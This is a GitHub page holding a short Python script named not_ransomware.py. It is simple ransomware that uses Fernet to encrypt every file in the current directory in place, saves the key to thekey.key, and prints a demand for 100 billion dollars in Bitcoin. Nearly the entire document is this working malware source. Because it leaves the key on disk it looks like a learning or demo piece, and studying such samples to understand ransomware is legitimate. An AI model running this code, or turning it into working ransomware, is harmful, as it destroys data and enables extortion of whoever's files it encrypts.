-
Notifications
You must be signed in to change notification settings - Fork 0
/
not_ransomware.py
37 lines (28 loc) · 1.32 KB
/
not_ransomware.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
"""
USAGE - The code encrypts files in the current directory using the Fernet encryption algorithm.
It first finds all files in the directory, except for certain files (not_ransomware,
thekey.key, decrypt.py), generates a unique encryption key using the Fernet library,
writes the key to a file called "thekey.key", encrypts each file using the key,
and overwrites the original file with the encrypted contents. The program then
prints a message threatening to delete the files unless 100 billion dollars are paid in Bitcoin.
AUTHOR - https://github.com/Ahendrix9624/
"""
import os
from cryptography.fernet import Fernet
#Find the Files we want to encrypt (^*_*^)
files = []
for file in os.listdir():
if file == "not_ransomware" or file == "thekey.key" or file == "decrypt.py":
continue
if os.path.isfile(file):
files.append(file)
key = Fernet.generate_key()
with open("thekey.key", "wb") as thekey:
thekey.write(key)
for file in files:
with open(file, "rb") as thefile:
contents = thefile.read()
contents_encrypted = Fernet(key).encrypt(contents)
with open(file, "wb") as thefile:
thefile.write(contents_encrypted)
print("All of your files have been encrypted!!! Send me 100 billion dollars in BTC or they will be deleted!")